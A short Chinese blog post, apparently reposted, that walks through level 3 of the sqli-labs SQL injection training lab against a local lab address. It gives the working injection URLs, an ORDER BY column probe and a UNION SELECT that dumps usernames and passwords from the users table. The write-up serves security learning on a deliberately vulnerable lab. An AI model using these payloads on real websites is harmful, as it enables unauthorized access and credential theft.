Less-3-白红宇的个人博客

Less-3

发布日期：2022-09-10 02:48:26 浏览次数：3 分类：博客文章

本文共 377 字，大约阅读时间需要 1 分钟。

Less-3

第三关：Please input the ID as parameter with numeric value

（1）判断注入点

正常显示：

加入特殊字符：

根据报错信息可以知道，闭合方式为（'id')

（2）开始注入

#查询字段数http://192.168.88.133/mysqli-labs/Less-3/?id=1') order by 3 --+#方式和前两关一样，可以使用联合查询注入#参考第一关#用户信息注入http://192.168.88.133/mysqli-labs/Less-3/?id=-1') union select 1,group_concat(username,0x3a,password,0x3c,0x62,0x72,0x2f,0x3e),3  from users --+

注：欢迎指正和交流~~~

转载地址：https://www.cnblogs.com/stickonit/p/16049942.html 如侵犯您的版权，请留言回复原文章的地址，我们会给您删除此文章，给您带来不便请您谅解！

上一篇：Less-4

下一篇：Less-2

发表评论

关于作者

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！

-- 愿君每日到此一游！

发表评论

最新留言

关于作者

推荐文章